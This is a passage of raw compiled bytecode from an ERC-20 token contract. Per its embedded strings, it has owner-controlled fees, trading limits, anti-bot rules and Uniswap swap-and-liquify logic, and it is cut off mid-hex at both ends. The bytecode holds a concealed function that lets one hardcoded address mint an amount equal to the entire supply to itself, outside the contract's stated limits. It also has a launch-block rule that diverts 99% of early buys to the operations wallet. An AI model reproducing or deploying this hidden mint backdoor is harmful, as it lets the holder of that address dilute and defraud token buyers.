0fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c90614e39565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f4efa56652237561d0f1fd31311aeaaa41f3b754a461545ed3cf6ced5876d298260405160405180910390a250565b7f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d81565b600e60009054906101000a900460ff1681565b60165481565b60125481565b60075481565b60155481565b601b5481565b600e60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611374612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6114cc612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290614c10565b60405180910390fd5b6000600e60006101000a81548160ff0219169083151502179055506000601060006101000a81548160ff0219169083151502179055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b6115c7612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90614c10565b60405180910390fd5b806116ea577f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090614ecb565b60405180910390fd5b5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61174d612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390614c10565b60405180910390fd5b8260128190555081601381905550806014819055506014546013546012546118049190614d93565b61180e9190614d93565b601181905550600f601154111561185a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185190614f37565b60405180910390fd5b505050565b6000611869612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90614fa3565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc9061500f565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611a1091906149b8565b602060405180830381865afa158015611a2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a519190615044565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611a8e929190615071565b6020604051808303816000875af1158015611aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad191906150af565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e4388482604051611b04929190615071565b60405180910390a15092915050565b60065481565b611b21612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba790614c10565b60405180910390fd5b600e60019054906101000a900460ff1615611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf790615128565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60026101000a81548160ff02191690831515021790555043600d819055507fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb760405160405180910390a1565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b606060048054611caa90614b01565b80601f0160208091040260200160405190810160405280929190818152602001828054611cd690614b01565b8015611d235780601f10611cf857610100808354040283529160200191611d23565b820191906000526020600020905b815481529060010190602001808311611d0657829003601f168201915b5050505050905090565b611d35612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb90614c10565b60405180910390fd5b7f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e49906151ba565b60405180910390fd5b611e5c8282613bbd565b5050565b611e68612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eee90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5d90615226565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167ff95a3f3be1ad3ec3d252a63182a8332b013f2251a59a30a03ecd260cbe263cc260405160405180910390a250565b60008060016000611ffc612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b0906152b8565b60405180910390fd5b6120cd6120c4612bea565b85858403612bf2565b600191505092915050565b60006120ec6120e5612bea565b8484612dbb565b6001905092915050565b60085481565b601e6020528060005260406000206000915054906101000a900460ff1681565b600e60019054906101000a900460ff1681565b612137612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd90614c10565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516122639190614806565b60405180910390a25050565b612277612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fd90614c10565b60405180910390fd5b82601681905550816017819055508060188190555060185460175460165461232e9190614d93565b6123389190614d93565b60158190555060146015541115612384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237b90615324565b60405180910390fd5b505050565b612391612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241790614c10565b60405180910390fd5b670de0b6b3a76400006103e86003612436610e0f565b6124409190614c5f565b61244a9190614cd0565b6124549190614cd0565b811015612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906153b6565b60405180910390fd5b670de0b6b3a7640000816124aa9190614c5f565b6008819055507fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc6008546040516124e191906148d7565b60405180910390a150565b601060009054906101000a900460ff1681565b612507612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90614c10565b60405180910390fd5b620186a060016125a4610e0f565b6125ae9190614c5f565b6125b89190614cd0565b8110156125fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f190615448565b60405180910390fd5b6103e86001612607610e0f565b6126119190614c5f565b61261b9190614cd0565b81111561265d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612654906154da565b60405180910390fd5b80600a8190555050565b60115481565b612675612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90614c10565b60405180910390fd5b670de0b6b3a76400006103e8600161271a610e0f565b6127249190614c5f565b61272e9190614cd0565b6127389190614cd0565b81101561277a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127719061556c565b60405180910390fd5b670de0b6b3a76400008161278e9190614c5f565b6007819055507f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e6007546040516127c591906148d7565b60405180910390a150565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b612865612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128eb90614c10565b60405180910390fd5b6000601060006101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b60135481565b612971612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f790614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a66906155fe565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b73c00bedfd78d649d00aadd0b6e5091751d200eeb473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba89061500f565b60405180910390fd5b612bd673c00bedfd78d649d00aadd0b6e5091751d200eeb4612bd1610e0f565b613c68565b565b60175481565b60185481565b60195481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5890615690565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc790615722565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612dae91906148d7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e21906157b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9090615846565b60405180910390fd5b60008111612edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed3906158b2565b60405180910390fd5b600e60009054906101000a900460ff161561364557612ef9611c6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612f675750612f37611c6b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612fa05750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612fda575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561364457600e60019054906101000a900460ff166130d457601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130945750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130ca9061591e565b60405180910390fd5b5b601060009054906101000a900460ff1615613303577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561319157507f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613302576004436131a3919061593e565b600f60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561323a57506004436131f8919061593e565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b613279576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613270906159e4565b60405180910390fd5b43600f60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555043600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133a65750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561344d576006548111156133f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133e790615a76565b60405180910390fd5b6008546133fc83611324565b826134079190614d93565b1115613448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343f90615ae2565b60405180910390fd5b613643565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156134f05750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561353f5760075481111561353a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353190615b74565b60405180910390fd5b613642565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156135e35750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613641576008546135f483611324565b826135ff9190614d93565b1115613640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363790615ae2565b60405180910390fd5b5b5b5b5b5b600061365030611324565b90506000600a5482101590508080156136755750600e60029054906101000a900460ff165b801561368e5750600960009054906101000a900460ff16155b80156136e45750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561373a5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137905750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137d4576001600960006101000a81548160ff0219169083151502179055506137b8613daf565b6000600960006101000a81548160ff0219169083151502179055505b600060019050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061387b5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561388557600090505b6000808215613ba85760014361389b9190614d93565b600d54101580156138f55750601e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156139475760646063876139099190614c5f565b6139139190614cd0565b905061394288600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361404a565b613b79565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156139a257506000601554115b15613a61576064601554876139b79190614c5f565b6139c19190614cd0565b9150601554601754836139d49190614c5f565b6139de9190614cd0565b601a60008282546139ef9190614d93565b9250508190555060155460165483613a079190614c5f565b613a119190614cd0565b60196000828254613a229190614d93565b9250508190555060155460185483613a3a9190614c5f565b613a449190614cd0565b601b6000828254613a559190614d93565b92505081905550613b78565b601e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613abc57506000601154115b15613b7757606460115487613ad19190614c5f565b613adb9190614cd0565b915060115460135483613aee9190614c5f565b613af89190614cd0565b601a6000828254613b099190614d93565b9250508190555060115460125483613b219190614c5f565b613b2b9190614cd0565b60196000828254613b3c9190614d93565b9250508190555060115460145483613b549190614c5f565b613b5e9190614cd0565b601b6000828254613b6f9190614d93565b925050819055505b5b5b6000821115613b8e57613b8d88308461404a565b5b8082613b9a9190614d93565b86613ba5919061593e565b95505b613bb388888861404a565b5050505050505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550613c1e82826142b3565b8015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cce90615be0565b60405180910390fd5b8060026000828254613ce99190614d93565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613d3e9190614d93565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613da391906148d7565b60405180910390a35050565b6000613dba30611324565b90506000601b54601954601a54613dd19190614d93565b613ddb9190614d93565b90506000821480613dec5750600081145b15613df8575050614048565b600a8054613e069190614c5f565b821115613e1e57600a8054613e1b9190614c5f565b91505b600080600283601a5486613e329190614c5f565b613e3c9190614cd0565b613e469190614cd0565b9050613e5c8185613e57919061593e565b614347565b6000479050600081905060006002601a54613e779190614cd0565b86613e82919061593e565b60195484613e909190614c5f565b613e9a9190614cd0565b905060006002601a54613ead9190614cd0565b87613eb8919061593e565b601b5485613ec69190614c5f565b613ed09190614cd0565b90508082613ede9190614d93565b83613ee9919061593e565b92506000601a8190555060006019819055506000601b81905550600085118015613f135750600083115b15613f2357613f228584614584565b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613f6990615c31565b60006040518083038185875af1925050503d8060008114613fa6576040519150601f19603f3d011682016040523d82523d6000602084013e613fab565b606091505b505080965050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613ff790615c31565b60006040518083038185875af1925050503d8060008114614034576040519150601f19603f3d011682016040523d82523d6000602084013e614039565b606091505b50508096505050505050505050505b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036140b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140b0906157b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603614128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161411f90615846565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156141ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141a590615cb8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546142419190614d93565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516142a591906148d7565b60405180910390a350505050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746828260405161433b929190615cd8565b60405180910390a15050565b6000600267ffffffffffffffff81111561436457614363615d01565b5b6040519080825280602002602001820160405280156143925781602001602082028036833780820191505090505b50905030816000815181106143aa576143a9615d30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561444f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144739190615d74565b8160018151811061448757614486615d30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506144ec307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612bf2565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161454e959493929190615e9a565b600060405180830381600087803b15801561456857600080fd5b505af115801561457c573d6000803e3d6000fd5b505050505050565b6145af307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612bf2565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161461696959493929190615ef4565b60606040518083038185885af1158015614634573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906146599190615f55565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561469a57808201518184015260208101905061467f565b60008484015250505050565b6000601f19601f8301169050919050565b60006146c282614660565b6146cc818561466b565b93506146dc81856020860161467c565b6146e5816146a6565b840191505092915050565b6000602082019050818103600083015261470a81846146b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061474282614717565b9050919050565b61475281614737565b811461475d57600080fd5b50565b60008135905061476f81614749565b92915050565b6000819050919050565b61478881614775565b811461479357600080fd5b50565b6000813590506147a58161477f565b92915050565b600080604083850312156147c2576147c1614712565b5b60006147d085828601614760565b92505060206147e185828601614796565b9150509250929050565b60008115159050919050565b614800816147eb565b82525050565b600060208201905061481b60008301846147f7565b92915050565b60006020828403121561483757614836614712565b5b600061484584828501614760565b91505092915050565b6000819050919050565b600061487361486e61486984614717565b61484e565b614717565b9050919050565b600061488582614858565b9050919050565b60006148978261487a565b9050919050565b6148a78161488c565b82525050565b60006020820190506148c2600083018461489e565b92915050565b6148d181614775565b82525050565b60006020820190506148ec60008301846148c8565b92915050565b60008060006060848603121561490b5761490a614712565b5b600061491986828701614760565b935050602061492a86828701614760565b925050604061493b86828701614796565b9150509250925092565b60006020828403121561495b5761495a614712565b5b600061496984828501614796565b91505092915050565b600060ff82169050919050565b61498881614972565b82525050565b60006020820190506149a3600083018461497f565b92915050565b6149b281614737565b82525050565b60006020820190506149cd60008301846149a9565b92915050565b6149dc816147eb565b81146149e757600080fd5b50565b6000813590506149f9816149d3565b92915050565b60008060408385031215614a1657614a15614712565b5b6000614a2485828601614760565b9250506020614a35858286016149ea565b9150509250929050565b600080600060608486031215614a5857614a57614712565b5b6000614a6686828701614796565b9350506020614a7786828701614796565b9250506040614a8886828701614796565b9150509250925092565b60008060408385031215614aa957614aa8614712565b5b6000614ab785828601614760565b9250506020614ac885828601614760565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614b1957607f821691505b602082108103614b2c57614b2b614ad2565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614b8e60288361466b565b9150614b9982614b32565b604082019050919050565b60006020820190508181036000830152614bbd81614b81565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614bfa60208361466b565b9150614c0582614bc4565b602082019050919050565b60006020820190508181036000830152614c2981614bed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614c6a82614775565b9150614c7583614775565b9250828202614c8381614775565b91508282048414831517614c9a57614c99614c30565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614cdb82614775565b9150614ce683614775565b925082614cf657614cf5614ca1565b5b828204905092915050565b7f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f7765722060008201527f7468616e20302e31250000000000000000000000000000000000000000000000602082015250565b6000614d5d60298361466b565b9150614d6882614d01565b604082019050919050565b60006020820190508181036000830152614d8c81614d50565b9050919050565b6000614d9e82614775565b9150614da983614775565b9250828201905080821115614dc157614dc0614c30565b5b92915050565b7f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60008201527f7420626520300000000000000000000000000000000000000000000000000000602082015250565b6000614e2360268361466b565b9150614e2e82614dc7565b604082019050919050565b60006020820190508181036000830152614e5281614e16565b9050919050565b7f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060008201527f6d61782074786e00000000000000000000000000000000000000000000000000602082015250565b6000614eb560278361466b565b9150614ec082614e59565b604082019050919050565b60006020820190508181036000830152614ee481614ea8565b9050919050565b7f4d757374206b656570206665657320617420313525206f72206c657373000000600082015250565b6000614f21601d8361466b565b9150614f2c82614eeb565b602082019050919050565b60006020820190508181036000830152614f5081614f14565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b6000614f8d601a8361466b565b9150614f9882614f57565b602082019050919050565b60006020820190508181036000830152614fbc81614f80565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b6000614ff9601c8361466b565b915061500482614fc3565b602082019050919050565b6000602082019050818103600083015261502881614fec565b9050919050565b60008151905061503e8161477f565b92915050565b60006020828403121561505a57615059614712565b5b60006150688482850161502f565b91505092915050565b600060408201905061508660008301856149a9565b61509360208301846148c8565b9392505050565b6000815190506150a9816149d3565b92915050565b6000602082840312156150c5576150c4614712565b5b60006150d38482850161509a565b91505092915050565b7f43616e6e6f74207265656e61626c652074726164696e67000000000000000000600082015250565b600061511260178361466b565b915061511d826150dc565b602082019050919050565b6000602082019050818103600083015261514181615105565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006151a460398361466b565b91506151af82615148565b604082019050919050565b600060208201905081810360008301526151d381615197565b9050919050565b7f5f5461784164647265737320616464726573732063616e6e6